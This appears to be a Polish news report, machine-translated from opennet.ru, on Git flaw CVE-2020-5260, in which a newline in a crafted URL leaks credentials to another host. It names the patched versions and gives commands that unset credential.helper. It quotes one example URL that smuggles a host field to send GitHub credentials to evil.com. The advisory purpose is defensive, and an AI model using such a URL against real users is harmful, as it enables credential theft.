Luka w zabezpieczeniach Git związana z wyciekiem danych uwierzytelniających

Opublikowany wydania korygujące rozproszonego systemu kontroli źródła Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 i 2.17.4, w który wyeliminował słaby punkt (CVE-2020-5260) w programie obsługi „referencja.pomocnik", co powoduje, że poświadczenia są wysyłane do niewłaściwego hosta, gdy klient git uzyskuje dostęp do repozytorium przy użyciu specjalnie sformatowanego adresu URL zawierającego znak nowej linii. Lukę można wykorzystać do zorganizowania wysłania poświadczeń z innego hosta na serwer kontrolowany przez osobę atakującą.

Podając adres URL taki jak „https://evil.com?%0ahost=github.com/”, moduł obsługi poświadczeń podczas łączenia się z hostem evil.com przekaże parametry uwierzytelniania określone dla github.com. Problem pojawia się podczas wykonywania operacji takich jak „git clone”, w tym przetwarzania adresów URL dla podmodułów (przykładowo „git submodule update” automatycznie przetworzy adresy URL określone w pliku .gitmodules z repozytorium). Luka jest najbardziej niebezpieczna w sytuacjach, gdy programista klonuje repozytorium nie widząc adresu URL, np. podczas pracy z podmodułami lub w systemach wykonujących automatyczne akcje, np. w skryptach budowania pakietów.

Aby zablokować luki w nowych wersjach jest zabronione przekazywanie znaku nowej linii w dowolnych wartościach przesyłanych protokołem wymiany danych uwierzytelniających. W przypadku dystrybucji możesz śledzić wydawanie aktualizacji pakietów na stronach Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, łuk, FreeBSD.

Jako obejście mające na celu zablokowanie problemu zalecane Nie używaj pliku credential.helper podczas uzyskiwania dostępu do publicznych repozytoriów i nie używaj „git clone” w trybie „--recurse-submodules” z niesprawdzonymi repozytoriami. Aby całkowicie wyłączyć procedurę obsługi credential.helper, która to robi zachowanie i odzyskiwanie haseł z Pamięć podręczna, chroniony repozytoria lub plik z hasłami, możesz użyć poleceń:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

Źródło: opennet.ru

Dodaj komentarz